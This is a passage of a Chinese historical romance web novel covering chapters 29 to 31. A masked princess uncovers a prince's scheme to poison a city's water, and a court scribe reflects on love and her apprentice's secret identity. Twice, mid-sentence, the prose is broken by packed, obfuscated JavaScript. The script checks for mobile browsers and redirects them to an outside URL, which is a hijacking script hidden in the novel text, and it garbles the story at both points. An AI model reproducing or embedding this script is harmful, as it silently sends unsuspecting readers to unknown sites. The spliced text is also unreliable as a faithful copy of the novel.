第二日清晨,薛适一推开门就见阿雅已经站在刺史府大门外等她,目光深深停留在空中某处虚无,似在想事。 薛适有些诧异,虽然她们相处不过两三日,但阿雅明显是有些贪懒赖床的,想来应是昨日见到清弥法师心情有些不好才起得这般早。 怕勾起阿雅的伤心事,薛适只是和往常一样弯眼而笑,随口道:“没睡好吧?昨日风有些大。” 阿雅这才缓过神,转而看向薛适,却是不由一愣,笑她:“还说我呢,你不也没睡好?两个黑眼圈这么重,不知道的以为你昨晚被人打了。” 薛适摸了摸因没睡好有些发涩的眼睛,干笑了几声。想到自己彻夜混乱的梦境与几个断断续续的现实片断不断交替糅合,却全都与江岑许相关,她一时分不明。 “我心情不好,”薛适正想着,就听面前的阿雅道,“眼下看来,虽然你在笑,但心情似乎也不比我好上多少。不如,我们去街上逛逛散散心吧?” “嗯?” “走吧走吧!”不等薛适反应,阿雅已经大步拽着薛适的袖子往院外走了,“天大地大,开心最大!” 此时,扬州城郊外,一处无人注意的木房。 屋内只有一张桌子并一个椅子,且是干净的。其余则空荡荡,几处角落也已被蛛网堆结,银白蛛丝黏连卸软,近乎缠成一团。 忽地,开门声响,惊起尘埃浮动。桌前坐着的人闻声回头,只见一袭绛紫步步走近,脸上戴千叶莲状面具,笑容有些散漫:“实在没办法,委屈你了。” 江岑许几步站定,身后跟着临辞。 她无视地面积起的尘土,微微俯身,与座上人平视,一字一顿,“前长临书院院长,徐桓应。” 徐桓应早在昨晚被江岑许救下时,就已听到对方喊他的名字。既已知晓姓名,眼下查出他的身份,并不奇怪。因而很是镇定自若地道:“阁下不是大皇子的人,如此,我便心安。您冒险救我,想必有所求,我定知无不言,言无不尽。” 江岑许对此并不意外,像是早有预料,她点点头,起身不紧不慢道:“听说徐先生有一子,三年前意外中毒,寻遍大夫也无法医治,只能等死。而大皇子江接古道心肠,主动遍请名医,终治好令公子。 徐先生也自此事后,以照顾令公子为由,主动辞了长临书院院长一职。再然后,新院长上任,没多久,书院爆发了瘟疫。” 徐桓应的脸色愈听愈沉:“阁下已查到这些,到底想说什么。” “不是我想说什么。而是你应该知道,我想听什么。” 江岑许指间转着笔,一派悠闲自如的模样:“你知大皇子想杀你,而我却救你,所以你确定,我不是大皇子的人。而所谓‘知无不言言无不尽’,不过是想先听听我救你所谓何事,然后再暗自决定,对我吐露多少。但,我这人一向不喜欢被动。” 江岑许一收指间翻飞转动的笔,道:“刚才我的一番话,够不够徐先生猜到我的来意,并告诉我想听的答案,以全那夜的救命之恩?” 闻言,徐桓应不由细细打量眼前的人。虽是女子,却气度不凡,不过十六七的年纪,心思却缜密狠准,那日出手救他,武功也是颇高。这样出类拔萃的人物,若是再出身皇室…… 他骤然想起了先帝,也是大益开国至今唯一的女皇帝。 半晌,他叹了口气:“罢了,我说便是。” 对方已经查到三年前自己和江接的往来,又主动提及瘟疫之事,定是有自己的情报网。且敢与当朝皇子抗衡,必非富即贵,甚至涉及党派之争。 而以此人的聪敏,当年真相水落石出不过早晚之事。自己只是提早介入,了结三年前所作之孽,以解愧疚之情。 “三年前长临书院的瘟疫,实为人祸。因为,我亦是主谋之一。” 话音一落,江岑许和临辞皆是一怔。对上江岑许的目光,临辞点了点头,转身出门守在外面。 “三年前,我儿所中之毒来势汹汹,我遍寻名医皆束手无策,直到大皇子拿上解药主动找上我,但条件是答应他一件 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江岑许面上仍不动声色,但袖子之下,刚刚收回手中的笔却已再度被她死死攥紧。 只听徐桓应继续道:“大皇子让我放心,他不会让书院的学生们中毒太久,不过三日就会把解药给我,届时学生们修养好后也来得及参加科举,我儿也会痊愈,谁都没有损失。” 说到这,徐桓应冷笑了一声,“可谁知,他竟放任此毒蔓延,永兴池水连接扬州众多水渠,那可是水啊!慢慢地,城中百姓也接连中毒,可所有人都以为是瘟疫爆发,但针对瘟疫的治疗根本毫无作用,不过是在希望中等死。 事情发展成这样,我还有什么不明白?我儿中毒根本并非意外,而是大皇子派人故意为之,只为利用我下毒,造成城中瘟疫假象。哪怕东窗事发,也可推到我一人身上,做他们的替死鬼。 我知自己如果继续留在扬州,早晚要被灭口,所以不等大皇子出手,便已携我儿离开。但大皇子怎可能放过我,这三年来刺杀不断,我二人只得隐姓埋名东躲西藏。 如今我已时日无多,想必是报应登门。我别无所求,只愿能在死前陈明当年真相,揭发大皇子,为我儿积德,更为三年前所有死于三日采的书院学生和百姓一个迟来的公道……” 不然,他也不会冒死回到扬州,回到长临书院,想要搜搜看是否尚有遗落的证据,以求可以去往官府报案的契机。 谁料,江接消息果真灵通,很快就在书院外布下天罗地网,幸有眼前人出手相救。 语毕,屋内恢复了静寂。 但徐桓应却不觉得轻松,因为面前之人周身散发的低沉气压像是有千斤重,足以撕裂这份平静,荡出他难以承受的怒火。 是啊,他曾是为百姓爱戴、为学生敬仰的书院院长,可却为一己私欲,助纣为虐,残害无辜。 如今连想活着为自己赎罪、为他们讨债的念想,都是难而又难的奢望。 死远比活着容易呢…… 可就算再来一次,他也会选择自己在这世上唯一的亲人。 因为比起学生和百姓,他更爱他的儿子。 “你的命,现在不仅仅只是你的。” 长久的静默之后,江岑许终于开了口。不是徐桓应以为的谩骂,她只是很平静地对他说,“当时大皇子给你的盛有三日采的瓶子,还在吗?” “在。”正是这次在江接包围书院前,他进去找到的。当年他为防万一,藏在了只有他知道的秘密暗格中。 “好。如此,我会派身边所有人,拼尽全力保护你的安危,护送你前往京城。”江岑许定定看着他,面具亦掩不住她坚定灼灼的目光,“三年前那些死去的生命,以及三年后的现在、甚至未来,可能的更多牺牲,都将牵系在你身上。” “徐桓应院长,”江岑许一字一顿地,对他道,“万望你御前陈情,字字如实,以全真相,以祭无辜。” 29. 逐日 江岑许出门时,只觉日光无常。 明明距离遥远,却很刺眼;明明很刺眼,却无法温暖冬日。 她向临辞交代好护送徐桓应回京的事,临辞很是不放心:“殿下派这么多人护送,只留几个在身边,属下担心您的安危。” “临辞,你还不明白吗?是我们一直小看江接了,他从三年前就已开始布局。” 一桩桩,一件件,三年前各个看似毫不相干的事,如今一点点清晰串联。 江接查到兴修水利的官员贪腐选用低劣木材,却是瞒而不报加以利用,等水患发生后自请治理,如此有了去往自己封地扬州的理由。然后洞悉人心,利用徐桓应对儿子的爱,借他之手于水中下毒伪装瘟疫爆发。 之所以选择长临书院,一来因其盛名,一旦成为所谓的瘟疫源头带来的影响不可估量,百姓必将人心惶惶;二来科举在即,但长临书院赴京赶考的书生却处境艰难,人人避之不及,唯恐被传染“瘟疫”。 江岑许将自己置身于江接的角度,继续思忖:如此,江接找到了清缘住持,想必同徐桓应一样,江接拿捏住了清缘法师最想要的住持之位,利用此野心加以控制,让他帮忙,比如将三日采解药给他。于是暗中的解毒,明面上却变成了因清缘住持的诵经祈福连突发的瘟疫都可平息。自此,清缘法师如愿成为请愿寺的住持。 只是,江岑许不明白,江接为什么要解毒一方是请愿寺。 她暂且掠过原因,想了下这之后的结果—— 是长临书院的书生科考高中,请愿寺成为长临书院书生常去之地,在此影响下本就信奉佛法的扬州百姓对此更加疯狂迷信。请愿寺名声大噪,不仅有百姓信仰,更收获了最难被宗教束缚的读书人尤其是最负盛名的长临书院书生的民心。 也就是说,江接此举拉请愿寺入局,是为了让扬州的书生和普通百姓都对佛法过度痴迷。 但这样做,对他而言有什么用呢。 江岑许感觉自己似乎抓到了最为关键的绳结,但又总觉差了点什么终是难以彻底解开。便只先对临辞道:“查查三年前的科举主考官是谁,以及和江接的关系,有无提前泄题的可能。然后告诉萧乘风全力戒备,京城可能要不太平了。” “是。眨眼间,临辞便消失在了视野。 江岑许清理了下屋内的痕迹,先前干净的桌椅不再,一切重新被蒙于尘埃,似乎从未有人进入过。她没再过多停留,转瞬也掩于了山野间。 再度回到扬州城内,江岑许已换回了平日张扬华丽的公主服饰,也明显感受到暗处多了来自四面八方的视线。江岑许嘲讽地笑了笑,轻裘缓带地流连于各色摊铺,走走看看。 “小五?你也来街上逛。” 江岑许随手拿起支簪子,见江措迎面朝她走来,点点头:“二哥。” 江措注意到江岑许手中握着的海棠花银簪,温和笑道:“想买首饰了?看中什么,二哥给你买。” “就,随便看看。”江岑许直了直肩,有些嫌弃地道,“我什么不缺?看不上这些。” 摊前卖首饰的大娘听了,很是奇怪地看向江岑许,见她打扮的确非富即贵,满腔疑惑便也没敢说出口,只暗暗在心中腹诽着:这姑娘可真怪!明明是对所有首饰都轻拿轻放,且一一放回原处的有礼性子,怎地这公子一来,突然故作嚣张跋扈起来? 一旁江措并未注意到摆摊大娘的异色:“来扬州这些时日,还没好好带咱们小五逛过,虽然你啊,自己倒是偷玩了不少次。不过,我近来发现个很不错的地方,带你看看。” 扬州不比长安干冷,虽已入冬,但气候如春,街上行人依旧,如织如潮。 江措带着江岑许进了家茶楼,从外看去,风格简朴素然,客人也不多,在扬州这样热闹的地方,可以算得上平平无奇。 “采菊东篱下,悠然见南山。”江措指着茶楼上的牌匾——“见南山”三个字行云流水,大气磅礴。虽于边缘并不规整的木板上题写,但因这三个字的笔法和出处中的意境,却是别有一番韵味,将原本普通的店面添上了独一无二、超脱世外的洒脱。 “猜猜……” “薛适的字。”不等江措问出口,江岑许已一目了然。 江措点头笑了笑:“薛待诏要是知道你这么熟悉她,想必会很开心。” 两人一前一后跟着小二进门,掌柜笑着和江措打了个招呼,一看就是因常来光顾,已是十分相熟。 里面的布置与外面截然不同,古朴雅致,像是一脚踏入陈年珍藏的画卷。 桌子呈方形、原木色,每桌之间距离较远,且有屏风隔挡,桌与桌之间很难听清彼此说什么。厅上中间建有小桥,淙淙曲水自下穿过,各色茶水点心顺流而下,抵达终端取餐之处。 “小五喜欢吗?以后我们可以常来这。”江措选了二楼靠窗的位置,点了茶楼几道最为有名的特色菜品,配以茶水点心,“出门在外,酒我就不点了。” “嗯。” 见南山虽不起眼,却有着无与伦比的位置,尤其江措又选了楼中最好的座位,临窗望去,景致尽收眼底。 对岸河水平缓清浅,令人心生安宁。岸边疏朗枝头上,竟压簇簇海棠。相比春日的繁锦娇艳,此时难得的绽放,多了些冷傲之韵,比冬日梅花少一分疏离,比春日牡丹多一分清丽。 “看你刚刚看中了海棠花簪,便想到来这恰好一览海棠花景。”江措给江岑许斟了杯茶,“最初啊,是薛待诏先发现这的。她总念叨,有机会要带你来,你定会喜欢。那时我还笑她,说小五喜华丽,这里想必不入你眼。今日看来,薛待诏比我这个哥哥更了解你。” “是她多事。”江岑许无意识扶了扶面具,状似漫不经心。 “可能是因为薛待诏心思细腻吧。”江措笑了笑,“从写赋便足以看出,每个字句总要反复把玩,有时候一段话写下后,过几天因着不满意,又会推翻重写一通,即便有时前后句的差异只在一个字的不同。” “不过,这段时间写赋让我对遣词造句有了很多新的见解,但也因此陷入了瓶颈,因为较难突破自己惯常的风格,便想着寻一些名本学习,不然全凭薛待诏一人实在辛苦……” 江措自己可能没意识到,但江岑许却听得分明,江措几句不离薛适,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255019|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神色间不由自主透露的欢喜,不加掩饰,更足够真诚。 江岑许蓦地想起江措生辰那晚,他不可抑制握住薛适手腕的举动。月光笼罩,江岑许掩于树下,看着两人并肩站立的背影,在薛适还分毫未觉之时,江岑许却已心知肚明江措的心意。 “……好巧,说到薛待诏,竟就看见她了。”江措说着说着,忽地将目光投向窗外,朝东的方向。 江岑许闻言,端茶的手一顿,她正对东面,不用偏头便能看见。 薛适依旧一身常穿的竹青色,身旁跟着双十左右的少女,身着鹅黄齐胸襦裙,最外罩同色披风,唯裙摆绣着青豆绿花纹。鹅黄娇俏,而青豆绿的点缀,又让这娇俏多了草长莺飞般的肆意。 江岑许记得,那是薛适新收的徒弟阿雅。 阿雅像是穿不惯身上样式的衣裙,有些束手束脚,怎么动作都觉别扭。薛适在一旁看着,最后无奈地笑了笑,主动上前替她理好,又将被披风压住的长发替她轻轻拿出拂顺。 一时间,两人身影相错。 黯淡的竹青色一点点被遮掩,穿着那身鹅黄的少女似在恍惚中变成了薛适。 “要是她能……想必很好看。”江措无意识的低喃,很轻很轻,一般人是听不见的,但江岑许毕竟武功不凡。 因此,她听得清清楚楚。 江措很好。 薛适……也很好。 因为,日光无常,但薛适不是。 她是触手可及的真实。耀眼,却不刺眼,且永远温暖。 而没有人,可以把这样的温暖私藏。 江岑许终是端起茶杯,将有些变凉的茶水一饮而尽。茶杯掩下的那一丝笑看不清晰,也辨不明情绪。 那笑大概只是因为,她不敢自私一回,拽下一片不属于她的光。 - 这边薛适陪阿雅逛完成衣铺,又被拉着去了酒楼。阿雅见薛适没有饮酒,也不觉扫兴,只兀自一杯又一杯地喝着。 “唔……本来是想给你买裙子的,好报答你对我书法的教导,最后怎么变成你买给我了……” “阿雅,你喝多了。我们今日先到这,以后等我闲暇,再陪你好不好?” “以后……”阿雅喝了会后,直接弃掉了杯子,抱着坛女儿红就仰头饮下,“没有以后了……没有了……” “不行。”薛适忙担心地扯过阿雅怀中的酒坛,却见她突然颤着下巴,抿唇间,已是泪流满面。 “是啊,当然不行了……哈、哈哈哈……当然不行了……”她咚地声趴在桌上,指间摩挲着面前装满菜肴的盘子边沿,眼神黯淡,泪痕却在光影下刺人的亮。 “你是大益人,我是关塞人。我的祖父,曾率兵侵犯你的国,甚至……还屠了你家乡所在的城……你那般光风霁月,高风亮节,眼中最最揉不得沙子,何况是我,何况是敌国的我……” 趁薛适怔愣,阿雅已再度抢回了酒坛,她眼神迷离地看着窗外,日光灼亮,却难以照清她有些缥缈的笑容。 薛适听见阿雅哽咽着,很慢很慢地道:“可我只是,依然喜欢你……只是依然,想见到你……” 30. 问情 阿雅断断续续说了很多事,从她破碎的言语中,薛适逐渐拼凑出关于阿雅与清弥法师大概的完整。 看着已经醉倒在桌前睡着的阿雅,薛适小心翼翼地将人扶起,微有踉跄地走向旁边阿雅定下的客栈。 她感受着身上阿雅的重量,亦如她悲伤的故事。 原来喜欢这件事,只是听别人诉说,也能牵动思绪,似是感同身受。 “到底什么是喜欢呢……” 看到哭得这么伤心的阿雅,薛适的心神亦随之纷乱,不由想要重新思考喜欢的含义。 娘亲应是喜爱父亲的吧。 记忆中,父亲一门心思醉心官场,每每少有的来娘亲房中,都是为了让娘亲动用家族关系帮他解决事情,若有推辞动辄打骂。 府中其他姨娘于父亲而言,更是除了床笫情事外无甚它用,似乎只是他的附庸、他用来发泄的金丝雀。 即便如此,娘亲依旧会为父亲天冷增衣、夏日制冰;会为讨他欢心作诗赋画,会因他风寒忧心照料…… 薛适不懂,父亲那么坏,娘亲为何依旧对父亲这般好,但她知道,娘亲一直还是喜欢父亲的。 可娘亲从未因对父亲的喜爱而放弃过她。为了保护身为女子的她不被重男轻女的父亲泄愤打骂,每一次都挡在她身前与父亲抗衡,朝她而来的疼痛最终大都落在了娘亲身上;父亲强迫她学武禁锢她自由,娘亲就偷偷教导她擅长且喜爱的笔墨予她一技之长。 但长此以往的身心摧残,终是令娘亲心有郁结早早离世。 现在看来,好像喜欢……总是悲伤的。 来长安之后,薛适已经努力让自己不再想起过去经历的种种,而是带着娘亲的爱,凭借自己的能力重新开始好好生活。只是没想到,今日阿雅为情所伤的模样,让她竭力封印的记忆不受控地涌现。 薛适用力眨了眨眼,抬头时视线已有些朦胧,她想要将眼眶中的些许湿润和所有伤怀一起消散。而在这时,耳边模模糊糊响起了阿雅对于她刚刚呢喃自语的回答。 “不知情人,不知情起,却已心动,是为喜欢……” 安置好阿雅,回刺史府的路上,薛适一直在思忖这句话。 她想起很多事。 有江岑许为感染风寒的她准备的甜梨水;有她被江接的人绑走后,江岑许从天而降带她策马逃离的身影;有初进刺史府时,中秋宴上江岑许为了保护她自己身受重伤倒在血泊的模样;亦有昨夜江岑许抱着她踏入浴桶时相触的温度…… 这是喜欢吗? 似乎和娘亲的、和阿雅的,都不一样。 很早以前,薛适可以很确定地断言,江岑许像是她面冷心热的阿姐,虽看起来凶,但其实每一次都护着她。不仅同明皇后和江措一样令她温暖,还给了她于深宫之中独一无二的心安。 可为何如今……她总说不上来哪里有些奇怪,连先前的这份确定也变得难以言述起来。 与此同时,薛适又想起了萧乘风身边那个长得过分好看的小将军。他们只见过两面,他却次次救她。是粗长银针落下时为害怕的她遮挡的手掌;是倾泻雨幕下为她拦截身后匕首而撑起的伞面。 她难以断言,自己一直想再见小将军一面的原因,是道谢,还是喜欢。 忽地,视线里骤然多了片熟悉的衣角。 薛适顺着抬眸,就见隔着人潮的对面,江岑许站在不远处,手中拿了朵胭红的海棠,她低头看着,指间轻转了转,嘴角缓缓勾起丝笑,面上戴着的面具不减她气质分毫,反倒令她注视着手中海棠的眼神更显深情,引人侧目。 那一瞬,周遭所有声响似乎尽数停息,只余长久的安静,在耳畔因鼓胀而发出的嗡鸣声里,清晰可闻胸膛急切的跳动。 一时间,薛适被自己凭空而降的想法怔得失神。 视线相撞时,她居然在想,如果江岑许是男子,面具之下,该是京城少女人人恋慕的模样。 原因无法具体,但她莫名相信。 “和你的小徒弟,喝完酒了?” 江岑许几步走到她身边,语调是与平日无二的刻薄。薛适知道自己身上应是沾染了不少酒气,可江岑许虽语露嫌弃,脚下动作却是步步靠近,然后,将指间那朵艳丽的海棠从一侧插在了她束起的发髻上,嘴角还勾起丝格外明显的笑来,十分满意的模样。 “殿下,海棠正好,摘了可惜。”薛适收拾好情绪,重新作出平日和和气气的笑。 “薛待诏还挺自作多情,以为我是特意摘给你的?”江岑许转身往前走,时不时回头看她是否跟上,“花再好,折了便死了。这是掉在地上的,如此颜色,被人踩碾实在可惜,如今簪在薛待诏头上——” 江岑许停下脚步,神色认真地将薛适上下打量着。许久,掀唇道,“正好。” - 回到刺史府,薛适始终对阿雅的事有些介怀,一番考量后,她终是拿着近日翻看的经文再度出门,去了请愿寺。 迟何一见到她就热切地呵呵笑着,忙蹦蹦跳跳带着薛适去向清弥法师的庭院。 眼下已近黄昏,暮色若大漠黄沙,明日似乎会是阴沉天气。 清弥法师很快出来:“这个时辰来,薛待诏可是遇到了什么急事?” 薛适早已准备好措辞:“近来看了法师相赠的几本经文孤本,其中晦涩之处实在令我废寝忘食也不得其解,只好叨扰法师赐教。”又想到先前冰心笺上江接所提密咒,便也借此询问道,“甚至从一些经文中闻及密咒,不知其中可有什么玄妙?” 清弥法师接过薛适递去的经文,耐心道:“经文与平素行文习惯不同,薛待诏多看几本后便能渐渐了解,如此再读也会更容易些。至于这本,因是他国所作,经我朝高僧作译注解,理解起来难免有些差异……” 薛适虽为阿雅的事而来,但眼下也认真听着清弥法师的讲解。 “至于密咒,也无甚玄妙。除了僧人会诵念外,一些与佛有缘之人也会加以研习。每个密咒各有其作用,比如静心咒、文殊咒……薛待诏若是想学,闲暇时我可先择一些简单的教予你。” “多谢法师。”薛适默默记下密咒之事,想着回头问问江岑许大皇子是否理佛,若是如此,那所言密咒或许与之有关。 此刻则道:“那有没有可以求得有情人终成眷属的密咒?” “自是有的。作明佛母心咒,可增权势、受爱戴、得圆满,亦包括男女婚嫁、有情人成眷属等。”清弥法师笑了笑,“薛待诏有心上人了?” “不是为我。我想学成之时,教授给我的徒弟阿雅。” 清弥法师执经书的手一顿,险些握不稳,书页轻抖间摩擦出些微沙响,似风吹叶落、蝴蝶振翅。他静默着没有开口,薛适只作不知,继续道: “今日阿雅寻我散心,一个人喝了不少酒,醉后吐出许多事。我虽不了解详细,但听出大抵与情相关。因她平日不愿将这些说出口,我也不便询问,便想着从法师这儿学以密咒教授于她,愿能多少抚平情间憾恨。” “她……现在在何处,怎么样了?” “我将阿雅送回了她落脚的客栈,想着明早再送些醒酒汤给她。” 清弥法师抚了抚被他紧握之后有些弯曲的经文书口,交还到薛适手中,道:“前几日我在山间摘了些苦参,刚好熬制醒酒汤。明早薛待诏不如带着……你的徒弟,一起来寺中。” 薛适几不可察地弯了弯唇:“劳烦法师费心了。” 翌日,薛适带着阿雅来到请 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阿雅自看过薛适代笔之后,也生了为百姓抒传心意的想法,便同江措一起在薛适身旁帮忙。 这段日子薛适的代笔摊在扬州百姓之间愈传愈广,代笔的委托便也不只局限于用梵文写祈愿符,而是更加多样,情笺、道歉信、讼书、和离书……所涉领域颇多,像是又回到了在长安为崇文馆的人代笔之时。 “薛公子,我那同窗……他爱慕我,可我只喜女子。要是直接回绝,我这人说话直,他又心思敏感,我怕伤着他。哎,我已是一连几日茶饭不思,实在没办法,还请薛公子帮忙解困。” 薛适看着眼前灰衣利落的男子,眉宇间愁云不散,但眸中却不乏担忧,笑了笑,保证道:“公子莫要担心,我会好好措辞,既传达出你的心意,也不会让那位同窗难堪。” 薛适大致问询了下灰衣男子的经历,又细细揣摩了番同窗的性情,心下已基本敲定,只待落笔。 江措见薛适的嘴角开始翘起了然的笑意,不由也弯了弯唇,对一旁的阿雅道:“阿雅姑娘,可以备纸了,先前薛待诏制的几种颜色,各取一张。” 阿雅愣了愣,一边准备一边道:“二皇子真是厉害,这是如何看出的?” “和薛待诏代笔久了,便也渐渐了解了她的习惯。也许用不了多少时日,阿雅姑娘也能做到如此。” 薛适打算择纸时,见各色各式已铺陈开来,一应俱全,感激地朝江措和阿雅笑了笑,选择了代表古朴、庄重与希冀的青色。 手腕晃动间,墨香悠悠袭来,薛适抬头问:“公子可会习字?” “会。” “如此甚好。既是承载心意的书信,即便是为回绝,也需公子亲笔书写,不过内容我已想好,我先说与公子听,看看可否满意。” 灰衣男子听后不仅十分满意,甚至眼眶有些湿润,对于同窗不免生出愧疚之情。薛适又讲解了番书信的内容,确认他确实清楚,劝慰道:“面对他的爱慕,只有真诚才是最好的。若因怜惜就违心应下,才是对他最大的欺骗和不公。” 男子点点头,挽了挽袖口,在薛适的指导下端正姿势,于桌前执笔挥墨。一收一放间,墨已入纸;浅淡痕迹下,楷书已成—— 【吾友亲启。 展读琅函,倍感荣幸。 吾一生清苦,难有人知,幸君与我谈诗论道,煮酒话意。情之欢喜,不分异同,感君千金意,用心如日月,我欣然受之。 然吾已有婚约,受之父母命,听之媒妁言,岂敢辜负?此非君子为,亦与君思相悖。 故愿吾友览尽山川日月,寻得心上人,解以双丝网,系有千千结。】 31. 意重 几日后,灰衣男子特地跑来告诉薛适,他的同窗收到信笺后并未觉得难堪,反倒更加珍惜这段友谊。 “他说,他用了很多勇气才将爱慕的话对我说出口,很怕我会因这样离经叛道的情感断绝情谊,未想我虽拒绝,却完整收下了这份情。” 说完,又多拿了些银两,见薛适要拒绝,赶忙正色道:“薛公子,你就收下吧,不然我心难安。先前你收的那点银子连在扬州城的摊边吃顿早饭都勉勉强强,怎配得上公子为此事所费的思量。” 见他执意如此,薛适只好不再拒绝,笑着接过:“多谢公子。不过,我想你的同窗会有这样的反应,不全是因我代笔之能,而是因公子本身,就是极温柔的人。” 送走灰衣男子后,薛适照例把代笔得来的银子相应分给江措和阿雅。知道薛适的性子,江措没有推脱,只是挥了挥手中银两,笑道:“跟着薛待诏这段时日,我像是吃白饭的。” “怎么会。没有你们,我一个人难免忙中出错。而且我们三个一起,对于一些特别的代笔之托,也能集思广益。” 天色渐晚,薛适收好摊,几人说笑间别过离开,江措先行回刺史府,薛适将阿雅送回客栈,顺便布置教导的书法课业。 路上,阿雅心情颇好地问道:“我这几日是不是写得好多了?” “嗯,用不了多久,你就能出师了。” “虽然你教得不错,不过——也是因为本姑娘聪明!”阿雅故作骄傲地仰起脸,比起平日多了分可爱。 两人一路欢声,不知不觉已走到了客栈。 “这是今日的,需每个字誊写五遍,”薛适一边往前走,一边垂头在箱笼中翻找,“明早我再……” 刚要伸手递给站在左边的阿雅时,却忽地被人从右边握住了挥曳的衣袖,冷不丁的动作让她不由趔趄了下,堪堪停住向前的步伐。 迎面一抹阴影罩下,江岑许靠在阿雅房间外的回廊拐角,姿态懒散悠然,像是路过的客人,但面具之下那双熟悉的眼,却像深不见底的幽谷,难以直探。 薛适有些意外:“殿下?你怎么在这呐。” “来接你。”江岑许看了眼薛适,将她轻轻拉向一旁,视线径直落向身后的阿雅,语气玩味,“顺便看看,到底是什么样的徒弟,要你特意读史书了解。” 薛适心一沉,江岑许却是早猜到她会露出惊诧愕然的神色,先一步挥了挥手中书卷,“我要做些东西,临辞帮我买《开物志》时恰好见你前脚离开。” “不过,”江岑许脚下一动,直到站在阿雅身边,眼神沉凉落下,开口的话却是继续对着薛适,“你既特地温读了这段历史,应该清楚,大益和关塞的关系吧?” 江岑许果然已经知晓了阿雅的身份。 而大益和关塞之间的关系,薛适怕不够了解,特地通读了几遍这段历史,眼下又怎会不清楚。 上一任关塞王,也就是什雅的祖父,因觉先帝身为女子不堪大任,于是举兵南下直指大益。长安因是都城,防守坚固死伤较微,但其他城池却损伤惨重,尤其富庶繁华的扬州城,首当其冲,甚至惨遭屠城。幸有袁老将军用兵如神,率袁家兵马和朝廷援军出征抗敌,力挽狂澜,才有今日安定平和的大益。 关塞虽因元气大伤退兵休养生息,但暗地里却仍蠢蠢欲动,两国隔着血海深仇,即便经济上有所来往,但仍争休不断。 再加之前任关塞王已逝,现任主张和平的关塞王病弱,大权只得都交于儿子什勒手中,而什勒比起前任关塞王更加嗜血残暴,奉行用绝对的侵略与战争实现关塞一统天下的霸业版图,大益与关塞的关系,便也更加剑拔弩张。 虽然薛适很早就根据阿雅的写字习惯和笔法看出了她是关塞人,也曾在初见时心存戒备,但这段时间相处下来……她实在无法将她祖父、她哥哥的错,牵连在她身上。 然而,江岑许只稍顿了顿,不等薛适回答,便朝眼前的人没什么耐心道:“说吧,什雅王女,隐藏身份从关塞远道而来,却接近我的人,所为何事?” “不说的话,我就禀告父皇,敌国王女便装前来,蓄意接近我大益朝臣,意图不轨。你身份特殊,父皇不便处置,若是把你送回关塞……你说,关塞王子该如何处置你?” “五公主不用试探我。” 阿雅听出了江岑许话间的锋锐,坦率道:“我是背着家人偷偷出来的。阿兄的铁血统治我实在觉得压抑,父王亦奈何不得。而他连我这个妹妹也信不过,处处监视处处防备,就算有一天他把我杀了,我都不觉意外。 千辛万苦来到这,是因我曾伪造身份在长临书院求学一年,你就当我……想要故地重游吧。至于接近薛待诏……” 阿雅顿了顿,下意识抿紧唇,江岑许却是了然点头,哦了声:“是为清弥法师。” 阿雅一愣:“你……” 江岑许敛了敛目光,虽仍疏离,却不似方才那般充满逼人的敌意。 “你不用意外,薛适身边不过我、二皇子和清弥法师,而你又曾在长临书院求学。因此你为的,只有可能是清弥法师。” 猛然被薛适之外的人知晓了心思,阿雅有些难为情,索性红着脸坦然道:“是,我喜欢他,不可以吗?” 与醉酒时产生的自责与退缩不同,此刻的阿雅大胆说出了自己的喜欢,没有丝毫犹豫。 江岑许却是讥诮地勾了勾唇:“随你。” “你爱你的清弥法师,关塞百姓继续敬爱他们的王女,与我大益公主何干?不过是重情爱轻权势的王女最终被王子架空,最后爱与国皆不得圆满罢了。” “你……什么意思……” 闻言,阿雅脸色一白,双唇也微微发颤,心底深处一直被她罩以厚衾刻意忽视的什么,猛地被人挑明掀开,让她再无法视而不见。 “看来是,一定要我说明白。”江岑许扫了眼一旁静静聆听的薛适,眉梢轻挑,“行,看在‘师出同门’的份上。” 语调带了分嘲讽,还有丝若隐若现的古怪,听得薛适手心骤凉。 在本就危机四伏的处境下,未能提前告诉江岑许关于阿雅的身份,是她不对,虽然她是出于好意,觉得阿雅虽身份敏感却无异心,便没特地告知江岑许惹她烦思。 但眼下看来,她似乎生气了…… 这边江岑许却已开了口,看向阿雅道:“你是关塞王女,我是大益公主,我大益曾因关塞差点面临灭国之恨,隔着血海深仇,我本不该说。但你毕竟无辜,所以作为江岑许,我想问,你爱清弥法师,而你的百姓亦爱你。每份爱都应负起同等的责任,你的百姓给予了对你身为王女的信任与敬仰,那你呢? 以及,你能对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297369|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清弥法师负什么责任?哪怕是他作为大益人、作为扬州百姓最基本的愿望,保证关塞今后不重现历史侵犯大益,你都做不到。 关塞不比大益对女子处处限制,王女亦可凭借实力继承王位。但你却不去争权,放任你的哥哥什勒施以残暴无比的统治。如此,仅凭扩张暴行与踏骨饮血,换取的繁荣又能维系多久?衰败甚至灭亡,不过大势所趋。” “……” 阿雅低着头,一时间哑口无言,但起伏的胸膛却无声彰显了她此刻并不平静的心绪。 良久,她别扭地仰起脸,但却由衷道:“你确实很像许烟皇后。阿父经常提起和他一同长大、远嫁大益的许皇后,说她若是有了孩子,定是像她一样心思细腻,又伶牙俐齿。” 薛适忽地想起含元殿下、龙尾道那晚,江岑许说起许皇后与关塞王青梅竹马,甚至因此背负叛国的污名时,落寞隐忍的样子。 